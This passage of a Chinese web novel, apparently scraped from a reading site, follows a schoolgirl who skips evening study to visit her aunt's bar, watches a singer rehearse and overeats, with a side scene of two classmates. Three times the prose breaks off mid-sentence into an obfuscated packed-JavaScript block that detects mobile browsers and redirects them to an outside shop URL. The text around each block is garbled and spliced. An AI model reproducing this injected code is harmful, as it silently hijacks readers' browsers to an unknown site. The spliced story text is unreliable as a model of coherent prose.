——齐龙飞坐在第一列第一个位置。 她神色有些冷,没什么感情,就这么看着黄怀予。 ……和上次开学典礼之后,在楼梯上的那个眼神一样。 ——淡漠,不关心。 ——有印象,但不是什么好印象。 “……” 黄怀予移开目光,习以为常地接受着十几道直接的注视,一步一步走到了第一纵列的最后第七个位置,坐了下来。 上午语文数学,下午英语文综。 紧锣密鼓,一场接着一场,一根笔芯借着一根笔芯,手腕酸痛,镜片模糊。 …… 最后一场文综的交卷铃声响起,黄怀予盖上笔盖,垂下双手,等着前面的人来收答题卡,眼睛已经看向了教室正前方的钟,心里默默盘算着时间。 “每一列第一位同学,请往后收答题卡。” 前排的人站了起来,一张张地收了过来。 其他人依然保持着安静,后排的人还在趁着收卷的这十几秒,仍然皱着眉拿着笔冥思苦想着最后一道纠结的选择题。 …… 齐龙飞走到第五个位置的时候,那人仍然低着头:“等会等会。就五秒钟。” 后面第六个人见前面卡住了,也立刻开始继续写着政治大题,最后能多写几个字就多写几个字。 齐龙飞看了一眼后面还没收完的卷,催了一声:“快点。” “……好了好了。” 那人终于放下笔,不怎么情愿地交了卷。 第六个人眼看第五个人也交了,于是也放下笔:“我交我交。” “这不是作弊啊!没有不公平,就最后加个几秒钟而已。” “……”齐龙飞收了卷,皱了皱眉。 她走到了最后排,本以为后面的人也要磨蹭一会换取几秒钟的多余时间,却看见——黄怀予桌上已经收得干干净净,只剩一张答题卡。 ——她早就停了笔,甚至已经垂下了手。 她满脸心不在焉,直接把答题卡塞给齐龙飞,然后立刻跳起来,抓起教室前面的书包,一个飞奔就出了教室。 “……”齐龙飞有些没反应过来。 教室里还满满当当坐着人,都还沉浸在刚刚考完试交完卷的气氛里。 ——可是等她有些手忙脚乱地整理好黄怀予塞过来的答题卡,往教室前方看过去,就发现,那人早就跑得没影了。 黄怀予右手扯着书包,踩着震耳欲聋的下课铃咚咚咚地下楼。 “琬儿帮我搬桌子搬书,回来请你喝奶茶,爱你么么哒。” 她对着手机一口气说完这句话,人已经跑出了学校大门。 语音刚发出去,电话就来了,黄怀予看着屏幕上显示的“小姨”,嘴角轻松地扬起。 ——刚接通,对面就传来那个音量十足的大嗓门: “外甥女?!你到哪了?!彩排还有半小时就开始了!” “这周周日的演出可是大日子,我特地从帝都请来了一位大人物帮我唱歌!现在他都已经到了!” 黄怀予在路边拦上一辆出租车,对着手机谦逊地说: “刚交完卷子,全校第一个冲出校门的,门口保安都以为我家里着火了。” “什么?!”手机里的大嗓门聒噪地叫,“现在才考完?那你从鸡鸣区过来市中心要多久?黄花菜都凉了!” 黄怀予不慌不忙地换了个手,右手把车门关上,语气谦卑。 “有劳垂询,打车来的,二十分钟必到,烦请报销。” 说完她就挂了电话,对司机说:“人民路酒吧街,1969酒吧。” …… 黄怀予下了车。 这里是人民路,楚门市中心非常热闹的一条路,拐角就是酒吧一条街。 以前小时候每次去市内上补习班,她都会经过这里,外面灯光闪耀,里面音乐震天响,她够着脖子看都没能看到里面是什么场景。 …… 今年年初,一直在帝都一家很有名的大型娱乐公司里当声乐老师的小姨李鸣月,不知道发生了什么事,突然辞了工作,回到了楚门,拿所有积蓄在这里开了一家酒吧,叫1969。 李鸣月楚门一中毕业,是楚门一中前后五年内唯一一个考上帝都音乐学院的艺术生。 她高考那年,黄怀予还去过她的升学宴。 即使这么多年过去却仍然记忆犹新,因为她家直接包了楚门最豪华的饭店,三层楼全面摆上红色喜报,连年纪最大的服务员都在打听是什么喜事这么大排场,恨不得昭告天下。 黄怀予记得特别清楚,那天李鸣月的妈妈满面红光,高兴得差点把一桌子的红酒给砸了。 …… 她带着一家人的期望去了帝都。四年大学,专业第一的成绩毕业,留在了帝都,成功进入了一家大型娱乐公司当声乐老师,平时还可以在外面接点活,一个月赚的钱足够十分体面地生活。 那几年,七大姑八大姨,谁提到李鸣月,都是在夸这孩子真是有能力,真是厉害,真是不让父母操心。 她妈妈在年夜饭席间一脸骄傲,举杯说大家恭喜发财。 ——可是没想到,呆在帝都的第九年,李鸣月居然带着两大箱行李,回到了这个N线小城市楚门。 她说,她辞了帝都的工作。 她顶着一头艳丽的大红色长发,27岁了还没有男朋友。 她用自己的积蓄,在人民路酒吧街,开了一家酒吧。 ……这种种事情加起来,简直足够让李鸣月瞬间变成亲戚眼里罪大恶极十恶不赦的□□坏女人。 ——但是,在她们这些小辈眼里,李鸣月却是全世界最酷的人。 黄怀予记得更清楚的,是她回来这年的年夜饭。 她戴着有半张脸那么大的银色耳环,涂着大红色口红,把红色头发扎了上去,还戴了一个掩耳盗铃的鸭舌帽。 她依旧笑眯眯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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9月份了,月考刚刚结束的晚上,没有作业,没有考试,没有家长和老师。 ——还有比这更好的机会吗??? ——还等什么??? ——黄怀予满面笑容,脚步轻快,心脏激动得快要跳出来。 活了十七年,她终于能去看一眼,酒吧里面是什么样子了。 …… 黄怀予心情激动,远远抬头就看见前方街角的一家店,招牌竖着一个木制牌子,是极其醒目的大红色,中间用黑色字写着“1969”。 门口站着一个红色长发的女子,牛仔短裙,白色破洞长丝袜,八厘米厚底鞋,右手手臂上纹着五颜六色的蝴蝶。 她抱胸站着,仿佛正在等人。 看见黄怀予走近,她的眼神远远地看过来,手臂上的蝴蝶仿佛要飞起来。 她嘴角带着笑。 “今天请你喝杯酒,算是给你报销车费了。” …… 门一打开。 灯红酒绿,纸醉金迷。 DJ放着巨大声的鼓点,男男女女混在一起,衣着清凉,举着酒杯,贴着扭在一起,五颜六色的光闪得能照瞎人的眼睛。 ——这一切,统统都没有发生。 黄怀予瞠目结舌地看着眼前一个人都没有的明亮大厅。 没有霓虹,没有DJ,整间酒吧安静得可怕,明亮的黄色大灯正大光明地在中间照着,整个大厅亮堂得如同301班教室。 所有凳子都是全部四脚朝天摆在了桌子上,旁边还有两个操着楚门口音的保洁阿姨,在一边拖地一边聊天,不说还以为这里是黄怀予家楼下的沙县小吃。 …… “想什么呢!” 后脑勺被打了一下,黄怀予捂住头叫了一声。 她回头,看见李鸣月笑着翻个白眼。 “前几天设备损坏,关门维修。今天彩排,不开放!周日晚上才正式演出。” 她带着黄怀予走到舞台下方正中间的最佳观赏位置,按着她的肩膀,把她按在宽阔的沙发卡座上。 “就算是正式演出和开放,1969也没有那么多乱七八糟的场景。我们连抽烟都禁,这可是绝大部分的饭店都没有的严格性了。” 她话里带着骄傲,转身打了个响指,后面的小房间里就走出一个人高马大的壮汉。 他一身肌肉,看着十分壮硕,胸肌都快要从紧身背心里挤出来了。但是身上却系着一条非常违和的粉色小熊围裙,手上拿着一个托盘,盘上放着一杯橙黄色的饮料。 他走上前,把饮料端到黄怀予面前,露出一个和他外形极其不相称的腼腆笑容。 “小周。我的安保兼实习调酒师。” 黄怀予笑着点头,“小周哥哥好!” 小周一下子红了脸,不敢看面前少女明亮的笑容,结结巴巴地说:“不,不用客气。” “……”李鸣月甚是无语地拍他一下,“看你这丢人现眼的样!进去端菜去!” “是,老板!” 小周立正,敬了个礼,不敢再看黄怀予,抱着托盘飞一般地跑回了厨房。 “……” 黄怀予笑得很开心,指着面前的饮料:“这是鸡尾酒吗?” 李鸣月把杯子推到她面前,慵懒地站着,眼神里带着鼓励。 “CaribbeanSun。尝尝。” 20. 第 20 章 黄怀予睁大了眼,围着杯子看了好几圈,仔细观察了一下这杯她人生中的第一杯酒。 她在脑子里挤出了几个贫瘠的形容词:“橙黄色的。有冰块。真好看。” 随后没等李鸣月说话,她立刻拿起杯子,仰头,一口气咕隆咕隆全部灌了进去。 “!” 李鸣月惊呆,抢过她手里的杯子:“你!你猪八戒吃人参果啊!” 眼前的女生任由她把杯子抢了过去,咽下嘴里最后一口,眨眨眼,砸吧了一下嘴唇,给出一个评价: “像汽水。” “……” 李鸣月瞠目结舌地看着手里空空荡荡只剩冰块的杯子。 “楚门一中现在这么抠?考个试没水喝的?把你渴成这样?” “……”黄怀予没说话,也没动,静静地等了一会。 她等了半天。 先是摸了摸自己的脸,发现温度依然正常。 又量了一下手上的脉搏,发现跳动平缓。 最后还在脑内默背了一下《蜀道难》,发现倒背如流。 ……一系列检查工作都做完,她终于发现,自己没有任何奇怪的反应。 “为什么我还没有醉?” 她皱眉问道。 …… 李鸣月叹口气,无奈地看着她。 “早就知道你来我这没安好心。你小姨我真是太了解你了。” 她拿走手里的杯子,事了拂衣去,深藏身与名,只留下一句轻飘飘的话。 “无酒精的。” “就是汽水。” …… 黄怀予生气地喊:“你骗我!” “死细裸。”李鸣月回头,恨铁不成钢地骂了一句楚门话。 “你来我这,本来就是瞒着你家家来的。你要是喝得醉醺醺地回去,这不是摆明了你大晚上不上晚自习,结果来我的酒吧花天酒地?” “你是想让你死还是我死?” “……” 黄怀予被吼懵了,呆呆地看着她,终于意识到了什么。 “哦。对哦。” 但是她又立刻反应过来,梗着脖子喊:“谁说我会醉醺醺地回去?万一我酒量很好呢?” ——然后她就看见,李鸣月脸上露出了一个嘲讽意味十足的表情。 “每一个第一次来喝酒的人,都这么说。” 李鸣月再也没理会这个死小孩的壮志豪言,转身冲着厨房喊:“小周!上菜!” …… 小周打开厨房的帘子,穿着他的粉色小熊围裙,托着一个比脸还大的托盘。 “咸蛋黄炸鸡翅,两盘。” “孜然牛肉串,五串。” “秘制羊肉串,五串。” “烤脆骨,五串。” “炸薯条,大份。” “炸芝士球,大份。” “唐扬炸鸡,大份。” …… “最后一份,油炸花生米和凉拌黄瓜。” …… 李鸣月看着满满一桌热量爆炸的油炸食品,偷偷去看黄怀予的表情,果然看到了她脸上饿狼般放光的眼神。 ……她露出了满意的笑。 怎么样!还是她了解她外甥女! 从小就爱吃炸的! 以前胖的时候喜欢吃,现在瘦了依然喜欢吃,食量一点没变,反而吃得更多,吃相如同《山海经》里的饕餮,《动物世界》里的蟒蛇吞掉大象。 ——果然,小周手还没收回来,黄怀予已经飞快地冲去了旁边的厕所洗手池,仔仔细细地开始洗手。 ……小周远远看着那个跳起来就飞奔去洗手池的身影,面露难色。 “老板,这么多菜,多浪费。” “浪费什么?” “她这么瘦一个小姑娘,怎么吃的完。” “哼。”李鸣月哼一声,双手抱胸,“我只盼她别再加单,我都谢天谢地了。” “?” “可是……”小周拿起桌上的一次性手套,“这有手套,她都不用,洗手就洗了这么久……” “哼。”李鸣月又哼一声,“人家这是磨刀呢,准备大干一场了。” 她转过头,拍拍小周的肩膀,轻飘飘地说: “你看过《山海经》吗?。” “什么?” ——她凑近,轻声说:“让你亲眼看看上古神兽长什么样。” …… 小周满脸困惑,下一秒身边就感觉一阵风吹过,一个身影以迅雷不及掩耳盗铃之速从洗手池的方向冲回来,坐在座位上,拿起炸鸡翅就往嘴里塞。 “……” 小周看得张口结舌。 他张着嘴的那十秒钟,眼前的女孩已经迅速咽下了第一个鸡翅,手同步伸向了旁边的牛肉串。 耳朵旁又传来李鸣月轻飘飘的声音: “现在是第二个节目,《动物世界》实况转播,非洲草原上的一只蟒蛇正在生吞一头大象。” “……” 他缓缓找回意识,转身进了厨房,喃喃自语。 “我……我去看厨房冰柜里还有多少东西。” * 乐队上台,灯光熄灭,一束金黄色的明亮的光打在舞台正中间。 李鸣月说的那位从帝都来的大人物——一个高个金发男生,终于在所有人的目光下,走上舞台。 他穿着一件简单的黑色卫衣,整个人高挑瘦削。一束灯打过来,在那一瞬照亮他深邃的眉眼,又很快移开。 明明灭灭,光只停留一瞬,他又消失在黑暗中。 音符跳动,旋律流淌,他一个人站在世界中央,孤零零地唱着自己的歌。 …… 李鸣月抱胸,站在台下录音室门口,静静听着这首歌。 这是楚恒的原创,《孤单行星》。 她大学毕业后就进了新娱公司,在新娱公司当声乐老师。也是在那里,她认识了当时还是练习生、现在已经出道了三年的楚恒。 这个小孩年纪很小,长得好看,不爱说话,性格内向,在练习生里没什么朋友,一个人独来独往。 但是,他非常有唱歌天赋。 所以他给李鸣月留下了深刻的印象,李鸣月这人自来熟,不管你理不理她,都不耽误李鸣月理你。所以一来二去,李鸣月竟然成了整间公司里,唯一几个能和楚恒聊两句的人。 她很看好楚恒,毕竟只凭他那张谁看谁惊艳的脸,他也不会被淘汰。更何况,他唱歌好,又肯认真练,每天都泡在练习室里跳舞,大半夜还给李鸣月发消息询问声乐技巧。 这样的好苗子,所有人都看好。楚恒被选上是迟早的事。 果然,他每次练习生考核都断层第一。最后他成功被选入STAR成为主唱。 那一天的宴席间,两人碰杯,楚恒真诚地点头:“谢谢李老师的照顾。” “叫什么李老师!叫月姐!以后姐罩你,大明星出道了也不要忘了你姐啊。” 那一刻,李鸣月才终于看见他露出的一点浅淡笑意。眉头舒展,桃花眼微微弯起来,有些腼腆,却很真诚,带着真心实意的喜悦。 “好,谢谢月姐。” …… 要兴致勃勃地开始总是很容易,只是不是所有事情都能有同样完美的结束。 STAR出道两年依然没什么水花,慢慢所有人都懈怠了。李鸣月明显感觉到其他成员上课时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252941|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都漫不经心,迟到早退,两年前的干劲早就被消磨干净了。 ——除了楚恒。 他依然自律地节食,自律地练习,自律地为每一场来之不易的演出做好所有准备。 他明明没变,可是李鸣月却觉得,他是变得最多的一个人。 ——因为他更加沉默,更加消瘦,更加寡言,更加冷淡。 两年前那个还会因为被选中而在觥筹交错之间露出真心实意的笑容的小男孩,现在已经变得消沉冰冷,眼神漠然,仿佛对世界上任何事都失去了兴趣。 她看在眼里,这个圈子里最不缺的就是精神疾病。她有问过,有打听过,甚至在他状态不好时建议他去看医生。 可是他只是沉默,只是摇头,说没事,一切都好。 其实李鸣月多多少少也能猜到一点。当了STAR好几年的老师,几个成员的真实性格她也很了解,她很合理地想到了因为家庭背景而自命不凡的赵焰,一山不容二虎,队友其实是对手。 只是没想到,再后来,就出了那件事。 …… 她终于明白了权力的可怕,认清了那群高层的真实面目,也在兜兜转转中终于看清楚,不论是自己,还是其他人,都已经是这场高层之间内斗的牺牲品,都已经是这个烂透的世界里无人在意的蚂蚁。 她想明白了。她做了自己想做的,找到媒体公开了所有事,让受害人沉冤得雪,让贾威受到重创,最终,她拒绝了梁吟东的挽留,毅然决然离开了这个自己生活了九年的大城市,回到了楚门。 和她一起回来的,还有她的老乡、她的高中同学、她的女朋友,喻轻泉。 …… 那个城市的所有人都和自己断了联系,她也觉得再正常不过。只是居然还能有一天再收到那个沉默冷淡的学生发来的消息,是她没有想到的。 联想到贾威和赵焰,李鸣月似乎终于在那一刻恍然大悟,在这三年里,他过着什么样的生活,他为什么会变成这样。 李鸣月可以逃离,可是楚恒却逃离不了。 于是只能一个人这样沉默地、逆来顺受地,承受这一切。 …… 他最近喜欢上了作曲和写歌。 不过与其说是喜欢,不如说是唯一的发泄方式,毕竟他早已经失去了“喜欢”一件事物的珍贵感情。 有时候他会把自己这几年写的歌都发给自己看,已经攒了满满几个文件夹,旋律都是哀伤的、沉闷的、看不到一丝希望的,透露着创作人苦闷抑郁而无处排解的心情。 在插着耳机听完楚恒的曲子的那个瞬间,李鸣月看着自家刚刚装修好的酒吧以及招募歌手的宣传单,灵光一闪,决定帮他一把。 也许不为了出名,不为了展示,只是想让他所有的情绪有一个出口。 她问楚恒,愿不愿意来楚门,来她的酒吧当驻唱歌手。 …… 本来是一边听彩排一边回忆过往,可是李鸣月怔怔看着台上的人,握着话筒,神色清淡,缓缓唱着歌,一双桃花眼微微垂着,鼻梁高挺,轮廓修长,本就苍白的肤色在灯光下近乎古希腊雕塑。 ……她有些看呆了,脑中不合时宜地默默浮现出“美丽”这个形容词,这小子,怎么几个月不见,又变更好看了? 乐队键盘手失误,弹错了一个和弦,她反应过来赶紧拍醒自己,自己好歹堂堂一个老板,怎么又被楚恒给帅晕了? 她估摸着黄怀予快吃完了,转身准备去问问外甥女还要不要加菜。 ——结果转头就看见,空荡荡的大厅里,黄怀予坐在舞台正下方,手上拿着一根吃了一半的串,整个人静止,一动不动,呆若木鸡,嘴唇微张,怔怔看着台上的人,眼里都有了光。 21. 第 21 章 黄怀予已经吃饱了。 准确的说,她是没兴趣再吃了。 ——因为她的兴趣,已经迅速从食物转移到了台上那个正在唱歌的绝世无敌大帅哥身上。 鼻子好挺,嘴唇薄薄的,眼睛那么老大一个,眼角弯弯的,眉毛浓密,眼眶深邃到像是抠进去的,脸跟米粒一样大,长得还高—— 但是不是谷奕那种傻大个的一米九身高,而是目测一米八几,在各种言情小说和电影里都正正好好的完美身高。 (谷奕:第一,我不叫喂。第二,我不是一米九,是一米□□!第三,我难道也是你们play的一环吗???) ……她已经有点看呆了。 原来她心心念念的酒吧里的场景就是这样的吗??? 她一下get到了酒吧的乐趣。 ——这么说,酒吧真是世界上最美好的地方。以后常来,好吗?好的。 …… 大厅昏暗而空旷,唯一的光照向了舞台。 台上的金发男生垂眸唱着自己那首被拒绝的原创。 台下空荡,正中央,只坐着一个短发女生。 她吃得爽快,吃饱了就盯着舞台认真地看。 吉他的声音像清澈的泉水,男生抬眸,台下的女生,是他唯一的听众。 …… 一曲终了,黄怀予才恍然从台上帅哥的脸中回过神,才发现自己完全没注意到刚刚那首歌唱的是什么。 是一首没听过的歌,就听见了什么“星星”“太阳”“银河”啥的。剩下的完全没心思听,因为眼睛实在太忙碌。 手里吃了一半的牛肉串已经冷透了,其他东西都被吃完了百分之九十。她甩掉手里的木签,擦擦手,捧着脸,用小学生那种极其标准的姿势正襟危坐,认认真真看着台上的人准备开始唱第二首歌。 乐队伴奏响起,很熟悉的前奏。那个帅哥又开始开口唱了,声音很好听,低沉有磁性。 黄怀予坐在正下方,默默听着,突然听出来: ——居然是飞儿乐团的《我们的爱》。 …… 她第一次听这首歌还是在初中的时候。 她和苏琬家里都没有电脑。她是因为她妈妈不准买电脑,怕影响她学习;而苏琬是因为家里没有这个条件。 初中她和苏琬周末去市中心逛街。那个时候步行街还很红火,街边小店的音像店里都放着各种流行歌曲。她们俩听到了这首歌,立刻偷偷溜去了家里有电脑的同学家里,两个人对着电脑听了一下午。 非主流时期,就喜欢听这种极度哀伤的分手情歌,想象自己是故事里的主角,正在承受失恋的巨大痛苦,一边哀嚎高音,一边挤出几滴伤感的眼泪。 …… 后来,莫名其妙喜欢上了卫语,又这样莫名其妙看着他喜欢上了冯尽欢。 冯尽欢长得漂亮,人脉广,在哪个班都有熟人,跟谁都能成为朋友,在任何广阔的社交圈子里都是中心人物。 他们俩在全班面前眉来眼去搞暧昧,而她在旁边一个人默默进行着以卫语为对手的竞争计划。 ——目的就是,超过卫语,考到第一名。 这样的话,每一次成绩单出来,班主任宣读名次的时候,卫语能跟全班所有人一样,从埋头做题的间隙,抬起头,淡淡地看她一眼。 ……只是,可惜的是,初中三年里她不管再怎么努力,都只考到过第二名,从来没有能够超过卫语。 所以,卫语投来的那一眼里,有一些赞叹,有一些欣赏,有一些祝贺,但是从来没有惊讶和铭记。 ——是不是只有超过他,才能让他感受到失败? 才能觉得我很厉害? 才能记住我? …… 她低头努力学了三年,抱着“让所有人高看自己一眼”的目的,非常用心地维持着自己的“学霸”身份。 她和班上所有女生一起,起哄开卫语和冯尽欢的玩笑;为了不让别人发现自己喜欢卫语,就把自己的好胜心昭告天下,告诉所有人自己每一次考试都要和他争第一;以及,继续和冯尽欢当着朋友,为了融入冯尽欢的社交圈而在她的其他朋友面前认真扮演着小丑的角色,讲着自嘲身材的笑话,逗得所有人哈哈大笑。 初中三年,就这样在楚门夏日炎热的微风中过去了,青少年们之间无数复杂敏感的幼稚荷尔蒙飘散在风里,试卷纷飞,水汽弥漫。 …… 后来升高中了,她们都考上了一中,只是去了不同的班。 对于她来说,能够考上一中是肯定的。只是由于信息闭塞,没有任何人给她指引和方向,她并不知道暑假居然有一场分班考试。 ——她那个暑假,正在忙着减肥,节食,跑步,在炎炎烈日下看着自己身上已经存在了15年的脂肪一点点消失下去。 ……直到开学以后,她才发现,自己居然因为没参加考试,被分去了文科平行班一班。 而卫语和冯尽欢,一个理所当然去了理科火箭班五班,另一个也跟着去了理科平行班十五班。 ……文科?理科?那当然是理科了。 因为大家都选理科啊。而且,卫语也一定会选理科啊。 …… 开学那个月,她消沉了很久。 后来她才真正体会到,她其实更适合文科,也真的更喜欢文科。如果在那次暑假考试之前她就知道这一点,选了文科,她是一定可以进文科快班八班的——只是现在,文科快班也没戏了。 家家爹爹一直都病着,从小她就习惯了自我管理,没有任何人可以帮自己,没有任何互联网消息,也没有任何内部人脉资源。 ……不过,这也算歪打正着,帮自己做个决定吧。 等到文理分科,她选了文科,真正选择留在一班的时候,黄怀予才彻底放下和接受这件事。 …… 第一次月考,她考了全班第一。 她在成绩单面前呆了很久。初中三年那些沉默的竞争还在眼前,从来没有得到的排名此时此刻却已经在自己手上了。 ——或许,在文科一班,文科平行班,这个崭新的环境和天地里,她可以从头开始。 相比于自卑的初中三年,这样的决定或许拯救了自己。在一班的这两年多里,她重新拥有了很多新朋友,那种再也不用讲着嘲笑自己身材的笑话来获取群体认同的那种新朋友。 ——而且,更重要的是,苏琬也在一班。 黄怀予慢慢觉得当鸡头的感觉挺好的,除了每个月都要让自己苦大仇深地挤进被八班包揽的文科年级前十,以及每天上学爬楼梯的时候,都要强迫自己不要看向五班的方向。 …… 那个帅哥唱得可真好。她一个人静静坐着,听得很认真。 “非主流时期,就喜欢听这种极度哀伤的分手情歌,想象自己是故事里的主角,正在承受失恋的巨大痛苦,一边哀嚎高音,一边挤出几滴伤感的眼泪。” ——只是,她从来都不是故事的主角。 她是主角旁边默默起哄的路人,是增加主角两人暧昧值的助攻,是就算暗恋也只能用学习和竞争来遮掩的搞笑背景板。 就算这个背景板在自己的天地里是鸡头,一到凤凰面前,又会立刻变成给大家讲笑话的背景板。 …… 想到这里,黄怀予竟然笑出了声。 “笑啥呢!听这么悲伤的歌还能笑出来?” 李鸣月过来,不满地拍了一下她的头。 “懂不懂欣赏艺术?” 黄怀予捂住被打的地方,笑嘻嘻地说: “唱得太好了,乐队配合完美,整个现场宛如昆山玉碎,芙蓉泣露,我不禁泪流满面。但是我这人好面子,不想被人看到流泪,所以只能挤出一点笑,来掩盖内心的悲伤和听到这等高雅音乐的感动。” 一串胡乱说的话,像电脑乱码,但是里面却夹杂着几句真心话。混在一起,无从分辨,像她插科打诨的一贯作风,没人知道哪句真哪句假。 李鸣月笑骂:“别在我面前一套一套的,再在这给我掉书袋我就把你送回家。” 她大咧咧在旁边坐下,用手肘推推黄怀予,炫耀般地朝舞台上唱歌的人点点头。 “楚恒,我以前的学生。” “帅吧?” “帅毙了对不对?” “别说你一个高中生了,姐在新娱工作了四年,见过的帅哥艺人没有一千也有八百。但是统统都没他帅。” 李鸣月还抱着手肘自言自语,脸上都是骄傲,自己怎么就这么慧眼识珠,把条件这么好的帅哥喊来给自己撑场子。 自己不仅眼光好,人缘也好! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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胃因为撑了太多实在太难受,她一边吐一边想把半小时之前的自己摁死在粪坑里,想质问自己一高兴或者一难受就只想狂吃东西的这个毛病什么时候可以改改。 外面的人没听到回答,又急得狂拍门: “外甥女!没事吧!——我的马桶没事吧!没堵住吧!要是堵了你可得付钱!” “……” 现在黄怀予想把门外那个人也摁死在粪坑里。 …… 门捶了一半突然被打开,李鸣月一愣,立刻拉开,就看见黄怀予弓着腰捂着肚子,气若游丝地倒在地上。 “卧槽!” 她立刻拉起黄怀予的手:“先送你回家!” 听到这句话,黄怀予的手立刻缩了回去。 “不能回……” “回了就全暴露了……我家家一定会打死我……” 李鸣月一想也是,又把黄怀予的手拉起来:“那得先送你去医院。” 刚准备扶她起来,李鸣月又突然想到什么:“哎呦,楚恒的上半场才刚结束,等会还有下半场的彩排,我得在这盯着,不然星期天演出要出乱子!” 她就犹豫了这么几秒钟,黄怀予就觉得吃太多吃到吐这件事实在太丢脸,于是又做贼心虚地又把手默默抽回来。 “……不用了,我自己去就行。” “那怎么行!你现在这样能走吗!” “我当然能走,不就是吃吐了吗!” 黄怀予说着就要证明自己,她推开李鸣月,捂着肚子颤颤巍巍站起来,跌跌撞撞冲出了女厕所。结果下一秒胃就又开始难受起来,她扑通一声摔倒在厕所洗手池前。 李鸣月大呼小叫从后面冲出来:“你看!都说了你不行!” “我可以!” “你不行!” “我可以!” …… 两人拉扯中,对面男厕的门帘被撩起来。 两人同时住嘴,抬头望去。 ——楚恒头发凌乱,脸上干干净净,沾着刚刚卸完妆洗过脸的透明水珠,穿着黑色卫衣,没什么表情,正从里面走出来。 22. 第 22 章 楚恒像是刚卸过妆,额头都还是湿润的,睫毛上还沾着水珠,他轻轻眨了一下眼,水珠顺着下颌线流向衣领深处。 他走出厕所,眸光一转,就看到门口地上纠缠拉扯的两人,脚步一顿。 “楚恒!” 李鸣月像是看见救世主,眼睛都亮了。 “帮我个忙!我外甥女吃坏东西了,你能送她去医院吗?等十一点我这边彩排结束就去找你们!” “不行!说了我可以自己——唔!” 李鸣月迅速死死捂住她的嘴,满含期待看着面前的男生。 …… 她知道,她作为月姐的请求,一般都不会被楚恒拒绝。 ——果然,那个站着的男生没说话,眉宇间的冷淡被湿润的水雾冲淡很多。他眨了眨眼,眼神扫过地上的两人,像是很快了解了事情的经过。 最终,轻轻点头。 * 楚门一中。 9月月考结束,苏琬收到黄怀予的消息,知道黄怀予肯定又是考试之后就去玩了,于是很自觉地走到教室外面,帮她搬桌子。 她才刚搭上手,下一秒桌子就被另一双手抱走——苏琬抬头,入目是一个十分高大的身影,她平视只能看见对方的胸口——紧接着再往上,就看见了谷奕的脸。 他很是不满,长眸扫了一眼她那纤瘦的胳膊:“都说了,以后这种事都让我干就行了。” 没等苏琬反应过来,谷奕就已经转身抱着桌子进了教室。 白度不知道从哪里蹦了出来:“苏琬!等会我和谷哥一起去学校对面吃晚饭,你和杯子要一起吗?” 苏琬笑着摇摇头:“不用了,杯子不在学校。我和我舍友陈静约了等会一起吃。” “什么?” 谷奕搬得极快,此时已经去而复返,靠在教室门框边,探出一颗毛茸茸的脑袋。 “黄怀予又不见了?!” 苏琬点点头,实话实说:“她一收卷就跑出去了。你刚刚搬的桌子就是她的。” “……好歹是个第一名,怎么玩性这么大呢。又去哪鬼混了,怎么也不叫我们!”谷奕嘟嘟囔囔。 白度说:“那不管她了,你叫上陈静,我们一起吃呗!” 他手肘推推苏琬:“谷哥请客!” 没人能拒绝请客,于是四人一起吃了一顿鸡公煲。 吃完饭,知道自己吃人嘴短的陈静看看那位请客的财主,又看看自己的舍友,迅速认清了局势,非常识趣地就拉着白度走了。 “我们还有事先走了,你们慢慢聊。” …… 于是只剩苏琬和谷奕站在街边。 苏琬回头看看谷奕,歉意地笑笑。 “你先回去吧,我还有点事,要去一趟市内。” …… “市内?” 谷奕愣了下。 “怎么你和黄怀予都是一考完就不见人影呢!” 他看了看手表,发现已经六点过十分了。马上六点半上晚自习,他突然意识到,这两个“好学生”,居然又准备一起逃晚自习。 ……他生出一股无边的愤怒。 是一种——前几天还为自己与好学生之间的差距过大无法融入而感到羞愧,但是今天就发现这两位好学生居然一个两个全部理所当然地逃课——的极大愤怒。 “你们太不够意思了!” “我都为了你们把头发染黑了!结果你们出去玩全都不带我!那我把头发染黑还有什么意义!” “……” 苏琬看着眼前比她高两个头的少年有些委屈的神色,眨眨眼。 “那你跟我一起去?” 她轻声问,带着淡淡的语气。 谷奕愣了两秒。 ——然后立刻点头:“好。” * 谷奕跟着前面的少女下了公交车,一路穿过小巷和路边无数的店铺,最终,在一家店门口停了下来。 他抬头一看——一家做美甲美睫的店。 他大为震惊,本来以为苏琬说自己要出来玩最多是去看看电影逛逛街,没想到居然是来做美甲。 他这辈子从来没来过这种地方,第一反应就想退出去。 ——可是前面的少女已经轻车熟路地走了进去,十分熟练地和里面一位中年妇女打招呼。 “郭阿姨。” “哟,苏琬!又来啦?你们考完试了?” 谷奕转身想退,结果一转身就撞到了门。他个子太高,这家店门框又矮,他撞得鼻子都红了。 不大不小的撞击声一下子吸引了店里所有人的注意,一下子所有的人的目光都看向自己。 “……” 谷奕脸红了,只能走进去,插着兜,装作若无其事地摸摸鼻子,冲店主点点头。 …… 郭阿姨有些震惊地望着门口高大个子的年轻男生,见他浓眉大眼,长得英俊,个子还特别高,完全不像是会出现在自己这家店里的目标群体,于是一下子有些愣住。 “郭阿姨,这是我朋友。” 苏琬在旁边介绍道。 “哦!哦!” 郭阿姨一下子明白了,目光在苏琬和谷奕身上来回打转,笑着说:“朋友?不错,不错。” “……”苏琬知道对方误会了,但是也没法再多话解释,于是只能拉着谷奕,让他坐在旁边的凳子上。 “这次打哪里?” 苏琬指着左耳:“这边。” 郭阿姨应了声好,放下手里的东西,转身进了小房间。 …… 